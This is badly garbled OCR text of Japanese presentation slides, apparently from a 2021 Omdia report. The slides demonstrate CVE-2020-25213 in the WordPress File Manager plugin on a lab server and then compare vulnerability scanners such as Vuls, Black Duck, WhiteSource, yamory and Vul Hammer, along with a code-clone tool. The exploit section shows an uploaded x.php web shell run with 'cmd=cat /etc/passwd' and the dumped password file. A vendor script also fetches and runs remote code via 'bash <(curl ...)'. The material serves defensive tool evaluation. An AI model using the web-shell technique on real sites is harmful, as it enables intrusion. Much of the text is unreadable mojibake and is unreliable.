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© R
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v z(r2
@Do>ED, ME
wordpress TYER =iz
8 @ ~ 23 i 4

FE T—RILADT—IMNEDIH?
—webHY - hEiER

FileManagerzfIFHLCTWL\DIMEDH ?
http://[Y—/\dDIP]/wordpress/wp-content/plugins/wp-file-manager
—>FERDELDIRURLDIEFEITDIMNESH?

RINY 3 &
Y-\ —ENESTED
I—9n5)RDT—hasEH. BEUSERHEREZRMBL T, FOED

4 N

f51) WordpressDffE85HEIC K D1 2F> b

A" S — — 20196E18, KIFBRDRRT A > I Y —EXTRIED 7 1 )LOFRBH TR

:p.m" B wp-nckudes read and wni *U_Co /—r\Zj__’ll \/g-U-_ EZ@CMS (Wordpress) l_ﬁ_b\‘%i&ﬂo)g_b‘_\‘y
css hthorvcasmcencon S hT. ZDIDHSWebS—/NCARET IR, ENDOI—YF—([CERET7A
mages S i o IWZBBUR, cMSEBHEICLUTRAT A I — /) ZROMBD Y1/ (-
Chies * index.php read and wri E%EQ@%&IE'::O .
et ® wp-actwate.pho read and wn Wordpress(d/i < FIHENTWD 2. ZDBFIUIMNEWordpress T 5+~
network SRR ISR ZWMSEAUTEERD A NMIFBEE T DLV AN -EDIRELFEITSNT

* wp-comments-post.php read and wni

vses , LB, (20196F9F. CVE-2020-25213)

FSHAY  TFAITR - — & https://www.jpcert.or.jp/newsflash/2020090301.html

7 AILDPOEDZGUITEM S 2ED
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AREEFAwebt —/\ BES3 D3 B, PHP
TS0 ICEENS,

r— ruar
|

o i p-can el = < 5
¢ C 4 EBENTVGLGEE | 19216821021 Vwg-conte s @ *0 : http://Y—/\IP/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
- [root@localhost php]# pwd
- '#[IZ EE Ivar/www/wordpress/wp-content/plugins/wp-file-manager/lib/php
A=TVI=ZAVINITT7D [root@Ilocalhost phpl#
o — [ro=ot@localhost phpl# Is -al
FL—HEVUFr [CEHET SREDEE &at 976

drwxrwxr-x. 7 apache apache 4096 12H 14 02:23 .

drwxrwxr-x. 12 apache apache 206 12H 14 02:23 ..

drwxrwxr-x. 2 apache apache 4096 12H 30 00:38 .tmp
2021-01-20 18KH*5 -rwxrwxr-x. 1 apache apache 2316 128 14 02:23 MySQLStorage.sq|
-rwxrwxr-x. 1 apache apache 2598 12H 14 02:23 autoload.php

-rwxrwxr-x. 1 apache apache 1365 12H 14 02:23 chars-test.php
-rwxrwxr-x. 1 apache apache 17685 128 14 02:23 connector.maximal.php-dist
-rwxrwxr-x. 1 apache apache 9120 12H 14 02:23 connector.minimal.php
drwxrwxr-x. 5 apache apache 81 12H 14 02:23 editors

-rwxrwxr-x. 1 apache apache 24832 124 14 02:23 mime.types

drwxrwxr-x. 7 apache apache 94 12H 14 02:23 plugins

drwxrwxr-x. 2 apache apache 40 12H 14 02:23 resources

[root@localhost phpl#
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EEAPC(Cpython3x&® -1 > A =)L
S[El(&. windows10(Cpython3.8

| E rrnae
5 mENSY
oL A7 e7
B Web #AHED7 Y
= CTARY

P A5-rFS

PV E
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.Q ythen 38.0 (32 b

e
Fythen Launcher
. teaitek High Definition Aacho Crver
D sabusa ditot #5717

I RAPC(Cpython3xDEZ 1 —I)LZA > A =)L

O RTO>T h=EBEE UTET

B WD J9F T0TE
r._l sorul Wi | vee
el 1Y Miccsott

[ pipOinstalldrequests] Z3E4T

C:¥WINDOWS¥system32>pip install requests

FacBalT

cdTERIfee i =202
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@-AP-5. RES5HEDEIR (5) : WEBIRQ

o WEpIDY—)URR o IRERDpython’z %A
- REITAINACT7AILERD

[root@localhost files]# pwd
Ivar/www/wordpress/wp-content/plugins/wp-file-manager/lib/files
[root@localhost files]#

[root@localhost files]# Is -al

&5t 0

drwxrwxr-x. 5 apache apache 67 12H 30 00:47 .

drwxrwxr-x. 12 apache apache 206 124 14 02:23 ..

-rwxrwxr-x. 1 apache apache 0 12H 14 02:23 .gitkeep

drwxrwxr-x. 2 apache apache 6 12H 14 02:23 .quarantine

drwxrwxr-x. 2 apache apache 6 128 14 02:23 .tmb

drwxrwxr-x. 3 apache apache 34 128 14 02:23 .trash
SlEHBDFEEA

o cve-2020-25213.py & WL\ DL HI TIRF.

P21 H 0 = | python
El . s ==
: — = 4 0 PC O Windows [C) * Python P ] = Pyt
A am : TrEe as 49X
s Bfun Foud N
-2020-25213, 2021,/01/20 1349 hom Fil 1 KB
= ’ # an-l N ll:"l"]:r?z:;i 16:5 I:":'lrl:l'll:“.i FI|E 1KB
T t i
& 5ou0-F " Fyifion File
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NNy O R7ZHFALTY—/UBHRZERIELET .

TSOH(CUUTDURLZ AT
http://192.168.210.211/wp-content/plugins/wp-file-manager/lib/files/x.php?cmd=cat%20/etc/passwd
& Plugins < Test — WordPress X @ 192.168.210.211/wp-content/p X + a = X
< C A RESNTWEWEES | 192.168.210.211/wp-content/plugins/wp-file-manager/lib/files/x.php?cmd=cat%20/etc/passwd W O N o :

root::0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:Ip:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/shin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: /sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP

H—) \(:/ (“J 2 F?b“ﬂﬂﬁéﬂgs Y= User:/var/ftp:/sbin/nologin nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin dbus:x:81:81:System message
bus:/:/sbin/nologin systemd-coredump:x:999:997:systemd Core Dumper:/:/shin/nologin systemd-resolve:x:193:193:systemd

[root@localhost files]# pwd Resolver:/:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
Ivar/www/wordpress/wp-content/plugins/wp-file-manager/lib/files polkitd:x:998:996:User for polkitd:/:/sbin/nologin unbound:x:997:995:Unbound DNS resolver:/etc/unbound:/sbin/nologin
[root@localhost files]# sssd:x:996:993:User for sssd:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
[root@localhost files]# Is -al rngd:x:995:992:Random Number Generator Daemon:/var/lib/rgd:/sbin/nologin mysgl:x:27:27:MySQL
ait 4 Server:/var/lib/mysgl:/sbin/nologin apache:x:48:48:Apache:/usr/share/httpd:/bin/bash nginx:x:994:991:Nginx web
drwxrwxr-x. 5 apache apache 80 14 20 05:14 . server:/var/lib/nginx:/sbin/nologin vuls:x:1000:1000::/home/vuls:/bin/bash

drwxrwxr-x. 12 apache apache 206 128 14 02:23 ..
-rwxrwxr-x. 1 apache apache 0128 14 02:23 .gitkeep
drwxrwxr-x. 2 apache apache 6 12H 14 02:23 .quarantine
drwxrwxr-x. 2 apache apache 6 128 14 02:23 .tmb
drwxrwxr-x. 3 apache apache 34 128 14 02:23 .trash
-rw-r--r-- 1 apache apache 30 1H 20 05:14 x.php
[root@localhost files]#
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CVE-2020-25213 E[E#R (CHESEHIRIBEZ M L. ZMEFFERBY —)LDOI&REEEIT D 1z,

CVE-2020-25213
Wordpress A S7J+ > File Manager DifEg514E

[root@Wordpress wordpress]# wp plugin list

+ + + +
| name | status | update | version |
+ + + + +
| wp-file-manager | active | available | 6.0 |
+ + + + +

CVE-2020-11990
HIAS TS A > Apache Cordova DRESFE

[forse@CVE-2020-11990 hello]$ npm list cordova-plugin-camera
com.example.hello@1.0.0 /home/forse/hello
L—cordova-plugin-camera@4.1.0

CVE-2020-17527
Apache Tomcat DESSE

[root@202017527 ~]# ${CATALINA_HOME}/bin/version.sh
Using CATALINA_BASE: /opt/apache-tomcat

Using CATALINA_HOME: /opt/apache-tomcat

Using CATALINA_TMPDIR: /opt/apache-tomcat/temp

Using JRE_HOME: usr

Using CLASSPATH: /opt/apache-tomcat/bin/bootstrap.jar:/opt/apache-
tomcat/bin/tomcat-juli.jar

Server version: Apache Tomcat/9.0.0.M1

Server built: Nov 12 2015 22:05:52 UTC

Server number: 9.0.0.0

OS Name: Linux

OS Version:  4.18.0-193.e18.x86_64

Architecture: amd64

JVM Version: 11.0.9.1+1

JVM Vendor:  AdoptOpenJDK

[root@202017527 ~#
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@-AP-9. eSS T 77 1)L ODHERR (2)

« CVE-2018-1000542 » CVE-2019-17638
NetBeans® 541 > netbeans-mmd-plugin DS54 Ecripse JettyDRfEgs 14
Ji [root@CVE-2019-17638 9.4.27]# head -1 VERSION.txt
| NB MindMap Editor jetty-9.4.27.v20200227 - 27 February 2020
JC= e 143 IE

YV =Z: nb-mind-map-1.4.3.nbm

« CVE-2019-5413
—— NetBeans npm/\w 4 —=morgan®HE55 4%

ThePlugin allows create and edit mind maps within NetBeans projects, [root@NetBeans Test-CVE-2019-5413]# npm list morgan

Test-CVE-2019-5413@1.0.0 /root/NetBeansProjects/Test-CVE-2019-5413
L—morgan@1.9.0
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CVET—5 DEH

#nvdDT—4
1LE RANAGE go-cve-dictionary fetchnvd -last2y -dbpath=$HOME/cve.sqlite3
' ~ #ivnD7—4
@ W VHIEE go-cve-dictionary fetchjvn -last2y -dbpath=$HOME/cve.sqlite3
" <11—| #CentOSMH5~8D/\—>3>%47>0-R
% = goval-dictionary fetch-redhat -dbpath=$HOME/oval.sqlite3 56 7 8
‘ vulsd—/( nvd7— 4~ DEHT
wordpress YRR HUZHA I J
- O X

T 192.168.210.221 - vuls@vuls:~ VT

T 192.168.210.221 - vuls@vuls:i~ VT

S IVRO-IHO) v ESW) ALLFH)

DMDIIA

Page 152 © 2021 Omdia

Information Classification: General



A+ XN LR— hZiEsR
#AF¥v>ENhE #LN— NEbEER
[vuls@vuls~]$vuls scan wordpress [vuls@vuls~]$vuls report —lang=ja

Tl 192.168.210.221 - vuls

IrAIUF) RE(E) 57
S} IVRO-IA0)  PAUEIW) ALFH)

uls:~ VT
) IVRO-INO) e ERW) ALTH)

FRUIZHES

0 modu

fess’

EDU R
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HARGERRHEEE L7R— brkaE
#IVNIEIR. BARGERROTEE

[vuls@vuls~]$vuls report -format-full-text -lang=ja co o » @

Count we CWES Score by CVES Sevssity

a
T ——
G
— I I I II II
'
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Vulst—/NICTHESSMHEN' D DIREZBR L. MeSERAF+ > (CT [ CVE-2019-5413 | ZiR4]

REI 7L

FMALTWD., T304 >%%t%k. Shl(EWordPressd I 7 A ILYHZ—Z v —

Bfe854Ddp DNetBeanst— )\ & X F v >

[vuls@vuls ~]$ vuls scan netbeans

[Feb 8 17:33:36] INFO [localhost] Start scanning
[vuls@vuls ~]$ [Feb 8 17:33:36] INFO [localhost] config: /opt/vuls/config.toml
[vuls@vuls ~]$ vi /opt/vuls/config.toml [Feb 8 17:33:36] INFO [localhost] Validating config...
[Feb 8 17:33:36] INFO [localhost] Detecting Server/Container OS...
25 [servers.wordpress] [Feb 8 17:33:36] INFO [localhost] Detecting OS of servers...
26 user = "root" [Feb 8 17:33:36] INFO [localhost] (1/1) Detected: netbeans: centos 8.2.2004
27 host ="192.168.210.228" [Feb 8 17:33:36] INFO [localhost] Detecting OS of containers...
28 port ="22" [Feb 8 17:33:36] INFO [localhost] Checking Scan Modes...
29 cpeNames = [ [Feb 8 17:33:36] INFO [localhost] Detecting Platforms...
30 "cpe:2.3:a:morgan_project:morgan:1.9.0:*:*: " [Feb 8 17:33:36] INFO [localhost] (1/1) netbeans is running on unknown
31 31] [Feb 8 17:33:36] INFO [localhost] Detecting IPS identifiers...
[Feb 8 17:33:36] INFO [localhost] (1/1) netbeans has 0 IPS integration
[Feb 8 17:33:36] INFO [localhost] Scanning vulnerabilities...
[Feb 8 17:33:36] INFO [localhost] Scanning vulnerable OS packages...
[Feb 8 17:33:36] INFO [netbeans] Scanning in fast offline mode
Scan Summary
netbeans centos8.2.2004 1423 installed
To view the detail, vuls tui is useful.
To send a report, run vuls report -h.
[ ]
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=~ (5)

o VulsB—/\CTESSHEN D DIREZBERL. MIEERAF > (CT [ CVE-2019-5413 | ZARA(

o AFv>URH—/)\DLIR—

hRR

[vuls@vuls ~]$ vuls report

[Feb 8 15:15:54] INFO [localhost] Validating config...

[Feb 8 15:15:54] INFO [localhost] Loaded: /opt/vuls/results/2021-02-08T10:44:43+09:00
[Feb 8 15:15:54] INFO [localhost] Validating db config...

(2 N e e N e N N S NP 2 2 V)

| CVSS | ATTACK | POC | CERT | FIXED |

+ + +
NVD |

| CVE-2019- 20636 | 10 0] AV:
| CVE-2019-11068 | 9.8 | AV:
| CVE-2019-18197 | 9.8 | AV:

| CVE-2020-12654 | 9.8 | AV:
| CVE-2019-5413 | 9.8 | AV:

N
N
| CVE-2019-20218 | 9.8 | AV:N
N
N

N |

I
I
I
I
| POC

ar

+
ﬁxed | https //nvd.nist.gov/vuln/detail/CVE-2019-20636 |
fixed | https://nvd.nist.gov/vuln/detail/CVE-2019-11068 |
fixed | https://nvd.nist.gov/vuln/detail/CVE-2019-18197 |
fixed | https://nvd.nist.gov/vuln/detail/CVE-2019-20218 |
fixed | https://nvd.nist.gov/vuln/detail/CVE-2020-12654 |

| | https://nvd.nist.gov/vuln/detail/CVE-2019-5413 |

CVE-2019-5413 NetBeans Morgan
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-AP-15. Vuls CODREES4E XS+ > (6) : CVE-2019-5413 NetBeans Morgan

o AFvIHER

Maximum  v| ] <
| CVSS Score v

'Heatmap  v|

Family . CvelD ~ CvelD Packages Summary Totals
It was discovered that websockets.c in LibVNC Server prior to 0.9.12 did not properly decode 7.50
Release ~ Packages v CVE-2017-18922 libvncserver certain WebSocket frames. A malicious attacker could exploit this by sending specially crafted
WebSocket frames to a server, causing a heap-based buffer overflow.
CVSS Severity v Summary CVE-2018-10103 tcpdump tcpdump before 4.9.3 mishandles the printing of SMB data (issue 1 of 2). 7.50
e L . An attacker can use the format parameter to inject arbitrary commands in the npm package 7.50
Platform CVE-2019-5413 cpe:/a:morgan_project:morgan:1.9.0 morgan < 1.9.1.
I

v

EATIRBIRIEN D DN DA

Mess 1N dp B 0SS
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Black Duckt—/N(CTHESSHEN' S DIRAEZHER L. M55 A+ > (CT [ CVE-2019-5413 | ZiRA]

ETROUT
[root@Wordpress wordpress]# vi BlackDuckDetest.sh

#!/bin/bash

bash <(curl -s -L https://detect.synopsys.com/detect.sh) ¥
--blackduck.url=https://192.168.210.225 ¥
--blackduck.username=sysadmin ¥
--blackduck.password=blackduck ¥

--blackduck.trust.cert=true ¥
--detect.project.name=CVE-2019-5413 ¥
--detect.project.version.name=1.0 ¥

--logging.level.detect=DEBUG ¥
--detect.source.path="/root/NetBeansProjects/Test-CVE-2019-5413"

Bfe854Dds DNetBeanst— /& X F v >

[root@Wordpress wordpress]# ./BlackDuckDetest.sh

Detect Shell Script

Detect Shell Script 2.4.1

Will look for : https://sig-repo.synopsys.com/bds-integrations-
release/com/synopsys/integration/synopsys-detect/6.7.0/synopsys-detect-6.7.0.jar

You have already downloaded the latest file, so the local file will be used.

Java Source: PATH

running Detect: "java" -jar "/root/synopsys-detect/download/synopsys-detect-6.7.0.jar" --
blackduck.url=https://192.168.210.225 --blackduck.username=sysadmin --
blackduck.password=<redacted> --blackduck.trust.cert=true --detect.project.name=CVE-
2019-5413 --detect.project.version.name=1.0 --logging.level.detect=DEBUG --
detect.source.path=/root/NetBeansProjects/Test-CVE-2019-5413
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-AP-17. Black Duck CODREES’

o RAFvHER

BIIackDuck_C (15 DI&RFN

423+ > (2) : CVE-2019-5413 NetBeans Morgan

Bk Cuh N 2sr S |-
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WhiteSourcety —/NIC THEES N S DIREEEABER L. MEESMERF+ > (CT [ CVE-2019-5413 | ZH&4N

REI 7L Me554Ddp DNetBeanst —/ & X F+v7 >

SEL HAHAD T 7 A )UEJava TER SN TWVE T, JjsOHFAFv > ULET [root@Wordpress wordpress]# java -jar wss-unified-agent.jar -c wss-unified-agent.config -d ./
[root@NetBeans 12.0}# vi wss-unified-agent.config || e Start: Scan Files Matching Includes Pattern -------

8 apiKey=r*** e

13 projectName=CVE-2019-5413 [INFO] [2021-02-08 16:39:15,958 +0900] - Attempting to resolve dependencies

34 wss.url=https://app-eu.whitesourcesoftware.com/agent [INFO] [2021-02-08 16:39:15,958 +0900] -

230 includes=**/*js e

[INFO] [2021-02-08 16:39:16,386 +0900] - Trying to resolve HTML dependencies
[INFO] [2021-02-08 16:39:16,452 +0900] -
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2-AP-19. WhiteSource CDHfESS'

o AFviER. RON o Mgt (31E.,

Vulnerability Analysis

Security

Per-Vulnerability
Alerts

2 3

% &

o BTN o N

Per-Library Alerts

K ODFUWERAN 3 D URL

A

*F AF+47>(2) : CVE-2019-5413 NetBeans Morgan

Reported Vulnerability (HIGH)

View Vulnerabilities

Generfl Details

<191,

arne
CVE-2019-5413

An attacker can use the format parameter to inject arbitrary commands in the npm package morgan

CVSS 3 Score  CVSS 2 Score

Date Madified
75 22-03-2019 10-10-2019

Hiome > Alerts = Kamage Security Alerts

Slolace Lhrary Teps

Actions  Export

Tuz Fin

TS

B |

Amve jEvesrr gLt e B D020

jevent pLR . g WO

Upnrode fo v s 1.5.°

Lo e v Sl
samipermamsiesmind map esing
pancl 144

Upgrade sz version 1.5
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BDSAESI(dCVESIL O—R
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WSES(FCeVESRIL O— R
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E Fiiter
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T AT marpan. 1A Dagr My Fracdus
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@-AP-20. WhiteSource CDRESHH AF17 > (3) : CVE-2019-5413 NetBeans Morgan

AFv AER

EATXERIEN 8 D M55 A

A
}{ Upgrade Version

Lgarn Maore

Date: October 9, 2019 Q

An attacker can use the format parameter to inject

v
arbitrary commands in the npm package morgan <

1.9.1. CDBERCH U TORERR

Weak T CWE
Language: JS eakness Type (CWE)
Command Injection CWE-77
Insights from the communi
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@-AP-21. yamory CORESSHE AF+7> (1) : CVE-2019-5413 NetBeans Morgan

« YamoryT [ CVE-2019-5413 | ZGitHub»5XF+v >

N 54 Fich 0308

G yamory AFv> @
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-AP-22. yamory C DRESS'

GitHubMiEIR

E

HLWIOST I HEAFr 2,

) GitHub #hE L4 =

1AL TR RS CHMAES. FEGE Github MR LD
Ay wmRELET. U&, AT Z5ED GitHub [Tk
HTT.

*F AF+47>(2) : CVE-2019-5413 NetBeans Morgan

[CVE-2019-5413] URZ U DER

GitHub LA B Ui *

a I et b B et B B e

1200 LB S SHEES R, MESEE S T RSy
AT AERBLET, I GitHub LA To =20 — FEiE
[Tl = E S 2y e E T T,

Gradia b
Gradia (Andraid) b
sbt »
Manen »
Buibidlzerne 5
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(@-AP-23. yamory CODRESS | AF+7 > (3) : CVE-2019-5413 NetBeans Morgan

o AFvAER

OforseOl/CVE-ZO19-5413-NetBeans

| BRFY> | TOM .

<J-JxA b

package.json@npm

fElR/REEEE 1%

nEY—E2EZE®R

v/

AFv>

v

BRAF¥v U HE

2021/2/8 17:04

sl —4
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-AP-24. yamory CDHESS'

o [FRHAINTULDB0ss—E

4 234> (4) : CVE-2019-5413 NetBeans Morgan

YIFJ2IF
- ¥ I1UFT 1 F—ADSONIEH
express@4.17.1
CORSBIEICEZIURS
morgan@1.9.0 Command Execution Z288Y—t2Z PoC&HhH [CHTEED
x99,
AERMEICEHESITIMBEETY. SICREEDEESHBEEULUT
CIEELY.
EATRERRIEMN G DO R EA
R854 dp B 0SS Wb
1.x21.9.1{CF7vI5—hULTLIEZEL\.
ESETHAEREFU<SRS »

DR hY/JaST 28907
() forse01/CVE-2019-5413-NetBeans

NTIJIARN/TOSII0 (amb-E2mE)

package.json@npm

vyorox”?

morgan@1.9.0

R{FRR
gARTRS (114)

v

C DS HT U CORERR
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-AP-25. Vul Hammer CDREEE

4 23472 (1) : CVE-2019-5413 NetBeans Morgan

o Vul Hammert—/N(ICTRESSEN S DIRREEEEE L. BEssERXF+ > (CT [ CVE-2019-5413 | Z4&4AN

Ay 1R— REIH PESFOE NN
rrsmc o gy MIRACLE, N e
NGl Villonter | AR 5e )

S AT LEIEY Y L 5y S0 R— e O RZMD 28 PP RL-Z os RRNINL—T © RF—sRD © | AR 4

RUERSI@AR ) NITICAL N filter colu filter ¢ filter colum filter filter column... filter column.. | AFvomaae) T~
— 18 fromsie | CPEJL—JLAERK [
— OV m—NON = h g1 Wordpress 192.168.210.211 CentOS8+ Wordpress 0 e S |
= 0 e Tomcat 192.168.210.212 CentOS8+ Tomcat 0 1= 2021-02-17T10:13]

a 20 fromsit: = AR
%
e - AP W FRBENMUET AFv W RICCPEZBIILET
b 1 fromssit
p—— FTARAVERL CPE)L—JLAFRY

—

H—)\& (BEH) NetBeans-Test

IPP BLZ (B7R) 192.168.210.228
0s (BA) CentOS8+
RABIIWN—T default
Wordpress
Tomcat
Cordova
SSHEED 7 )L (7A) /var/lib/zabbix/.ssh/id_rsa
SSHNRJL—X ...
SSHI1—Y (#7H) root
SSHAR— I~ (B4H) 22

X U3

ZHUT I (@A)
JOt X (#B4E)

. TO89o
RoH—

VIb9I7?

X ECS

cd /root/NetBeansProjects/Test-CVE
Jusr/sbin/httpd

morgan

morgan_project

nod&js‘

T3
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-AP-26. Vul Hammer CDRESS’

o AFv AR

F A+ > (2) : CVE-2019-5413 NetBeans

ERUIVCVEER SO EIR R

Morgan

A N
etBeans-Test
KR~ 6t (#=ozi-) (o) (72 NetBeans-Test — .- A
il MEsSMOL—IL)  BESSHH(CVE)  CPEIL—IL ETRE
= RARID E2Yn) IP7RL R (e} Rk FEE RESMUL—IL) | MESSTE(CVE) | CPEIL—IL
3 CVE-2019-5413
filter colu filter colu filter colum filter fil .
HWEE B
B 1 Wordpress 192.168.210.211 CentOS8+ Wo — .
Hfegs 1% 345+ £C HERE NVD
O 6 Tomcat 192.168.210.212 CentOS8+ Ton —
- TEYIEE 1
0O 13 Cordova 192.168.210.214 CentOS8+ Cor U CVEID AR vy | CVE-2019-5413
filter columt filter colurr filter column...
0 14 HetBeans 192.168.210.128 CentOS8+ Net An attacker can use the format parameter to inject arbitrary commands in the npm package morgan < 1.9.1.
O cve-2021-21261 [T Flatpak is a system for builc,-
0O 15 Jetty 192.168.210.229 CentOS8+ Jett Version i Vectorstring
26 NetBeans-Test 192.168.210.228 CentOS8+ dlf‘ [J CVE-2021-20188 ~UNKNOWN A flaw was found in podma
cvss v2 [ HIGH | AVN/ACL/AUN/C:P/IP/AP
(1 cvE-2021-3156 [ sudo [CET=> RO3IH(
v3 CRITICAL CVS55:3.0/AV:N/ACL/PRIN/UEN/S:U/CH/H/AH
[0 CVE-2020-35113 m Mozilla developers reportec
0 CVE-2020-35111 When an extension with the IHE olEetE
0 cvE-2020-29661 [T A locking issue was discove Bt T FO— TR ®
[J CVE-2020-26978 Using techniques that built HEMB | Thee - v
[J CVE-2020-26976 When a HTTPS pages was e
[J CVE-2020-26974 m When flex-basis was used o
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H [ )
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@-AP-27. CCFinder XCO— RroO—>XF+v> (1)

o CCFinder XODFCEf

« AFv2IBTOUSLEE

Sal(Jjava®ziER

SE6p | Fid Table  Clone-Set Table

urce Text Scray
File 1D Dis

i) Path UN CN

inuity [ Directory Box 21 Disgonakize Fill Metric for Coloring: IN/A

. R T DT 7 1)L &&#EIR

[ Gemx 10274
File Edit Scope Metrics Preferences View Hely
Detect Clones...
Re-Detect Clones... N
Detect Clones from File List...

Detect Clones from Files in Clipboard...

Open Clone Data...
Save Current Scope As...

Save File List as...
Save scatterplot image as...

Exit

e Step 1/2. Preprocess Script and Target Directory Selection - Ge... X

Preprocess Script |‘

‘ w

Target Directory List

Add Directory

Next > > Cancel

o AFv>2IBDT10 LT RMUDER

Step 1/2. Preprocess Script and Target Directory Selection - Ge...

Preprocess Script ‘java v ‘

X

Target Directory List Add Directory

Next > > Cancel

Step 1/2. Preprocess Script and Target Directory Selection - Ge... X

Preprocess Script java ~

Target Directory List Add Directory

C:¥Users¥forse¥Desktop¥it & J4 )l 5¥src

Next >> Cancel
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AT AER

Scop File Table . Clone-Set Table

. File: || File ID Path
D 1 Appjava
D 2 Battlejava
I:l 3 Charajava
I:l 4 Cmn java

I:l 5 Common.java
I:l 6 Damage.java
I:l 7 DoorEvent.java

I:l 8 Elementjava
I:l 9 Enemy.java
I:l 10 Enemylistjava
I:l ! Event.java

I:l 12 ltem java
I:l 13 ltemEvent.java

I:l 14 MainCav.java
I:l 15 Map java

I:l 16 MoveEvent.java
I:l 17 MsgWin.java
I:l 18 ObjEvent java
I:‘ 19 PtParam java
I:‘ 20 Quest java

I:‘ 21 Rectangle java
[Je2  skiljava
[J2z  skileffectjava
I:l 24 Stonejava
[Jas  Titlejava

I:l 26 TreEvent java
I:l 27 WorldPointjava

I:l 28 WorldPointSet java

File Edit Scope Metrics Preferences View Help

.. Desq|C:¥Users¥forse¥Desktop¥t£HE J# )l ¥src¥

LEN CLN
33 0
12785 18
1941 4
49514 147
1 0
501 0
35 0
2088 23
442 1
42446 86
66 0
12749 0
1538 12
24 0
5791 18
63 0
1671 2
476 1
15 0
2243 0
42 0
32887 92
21865 86
2522 0
6508 12
76 0

91

4855

Scatter Plot - Source Text| Scrapbook
File Boundary File 1D Discontinuity Directory Box Diagonalize Fill Metric for Coloring: [NJA  ~

EENSHETAIDRU T AR TR
BRFERFR LR D,

FEFPEEZRL TS,

L —UIDEEE. T 71 )LEBEAIDE
FarxrLTLDB,
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@-AP-29. CCFinder XCOA— RoO—>XF+v> (3

o RFv AR

1 PIXEELOIFIVIVTZ2ER

2 ERADOYV-ZNEIRENS (SE(L. 2 battle.javat 25 Title.javadLLEs)

3

V-ANEEREFINIKETRREND

=) GemX 10.2.7.4
File Edit Scope Metrics Preferences View Help

Scope . |[File Table . Clone-Set Table| Scatter Plot . Source Text] Scrapbook |
.. De||G¥Users¥forse¥Desktop¥3E & Tl /¥srck [ File Boundary [ File D Discontinuity [ Directory Box [ Diagonalize Fill Metric for Coloring: N/A
o Fil| FilelD Path LEN CLN =

O Appijava 33 0 B ' v D
(] Battlejava 12785 18 - . . -
[mJE] Charajava 1941 4 - b
[mE] Cmn.java 49514 147
Os Common java 10
Os Damagejava 501 o - [ 1
[ DocrEventjava 35 0 - 1
Os Element java 20886 23 - 1
Os Enemy.java 442 1 _
[J10  Enemylistjava 2445 86 - . 1
Omn Eventjava 66 0
[ Item.java 12749 0
[113  lemEventjava 1538 12
O MainCavjava 24 0
s Map.java 5791 18
e MoveEvent java (=] 0
O MsgWin.java 1671 H
[]18  ObjEventjava a8 1
e PtParam.java 15 0
O 2 Quest java 2243 0 3> L
[0 21 Rectanglejava 2 0 .
Oz Skilljava 2887 @2 + T
e SkillEffectjava 21865 86
24  Stonejova %2 0
[J2s Titlejava 65086 12
[ TreEventjava 76 0
Oer WorldPointjava 91 0
[ WorldPointSetjava 4855 4 T T

< PR >

Ready. PS: java #Files: 28 (2) #Clone Sets: 489 (0)

%] GemX 10.2.7.4 — O x
file Edit Scope Metrics Preferences View Help
Scope - File Table *_Clone-Set Table | Scatter Plot [Source Text . §erapbook [\ N
.. De||C¥Users¥forse¥Desktop¥2E 8 74 )L F¥src¥ 2 C¥Users¥orse¥Desktop¥s J4)L 5 ¥src¥Battle java
o Fill| Fileld Path LEN CLN ~ :;; private static void DrawConf(Graphics g}{ IS
t
o1 App.java 3 0 824 ::t; a
0=z Battlejava 12785 18 :iz intcx; ’
O3  Charajeva 1941 4 g2y Cmn.DrawWinlx, y, 224, 56, g);
04  Cmnjava 45514 147 228 _
) P
Os Commonjava e 20 CoonDrawMessagelx + 4,y + 2+ Cmn.fniH * 1, "#5#499x", 255, 255, 255,
Os Damagejava E 1 cx= (actinterval - 1) /37 10
m DoorEventjava s 0 g.setColor(Graphics.getColorORGB(120, 120, 245));
Os Elementjava soss 23 filRect(x + 132+ cx, y + 6,8, 10)
84 WCplor(Graphics.getColorOfRGB(120, 225, 120));
Oe Enemy.java Mz 85 g.drMRect(x + 131+ cx,y + 5,9, 11);
[J10  Enemylistjava 42445 86 B forintiz 0 <5 i+4)]
On Eventjava 6 0 g Cron.NumDraw(x + 140 + i " 10,y + 7,1 + 1);
Oz lemjava 249 0 P
SLO[#94)9]499X
O temEvent java 15812 g:? gmnD[rawMEl:sagE(x bay 2+ CmnintH * 2, "SLO[IXSe44X", 255,
4 MainCavjava 24 0 sap %= (CmnINPUT_KEV_CNT - 3) " 1g;
015  Mapjava s7a1 18 aa3 gsetColor(Graphics.getColorOfRGE(120 120, 245);
[J16  MoveEventjava 83 0 Vi 844 9‘“!['{‘:5“‘(*‘; '3:_* C*i‘f;}f&’éf““' 5 10);
Qv  MgWinjma 10 2 AT o= B B eRento 131 Sy 5 Com 3 11
! .y ftH, 8, 11);
1 ObjEventjava 78 1 ! B forlintic 0§ <8 e
e PtParam.java 15 0 if(flg < Cmn.TITLE_LOAD_DIT){ 848 . Cmn.NumDraw(x + 140 +i 10,y + 7+ Cmn.fntH, i + 1);
20 Ouestjova 22 0 Cmn.DrawActRect(60, actRctY, 120, 18, g): g;g P o
Jelse if(flg == Cmin.TITLE_NAME}{ 1418299999 X9| 999X
Oz Rectanglejava 20 Jelse{ 851 ConDrawMessage(x + 4,y + 2 + CrnfntH ™ 3, "6{8 *98886X8[899X", 2
0= Skill java 32887 92 Cmn.DrawActRect(16, actRctY, 224, 66, g): ox = (CmnINPUT_CNT - 7) * 10;
[J2  SkilEffectjava 21865 86 } g.setColor(Graphics.getColorOfRGB(120, 120, 245));
DOla4  Stonejava w2 0 _ giillRect{x + 132 + cx, y + 6 + Cmn.fntH * 2, 8 10);
T s HXFER 22\ setColor{Grahics.getColorOfRGB( 120, 225, 120));
o fHejava if{flg < Cmn.TITLE_LOAD_DIT){ sey \odrawRect(x + 131+ cx, y + 5+ CmnfntH * 2,9, 11),
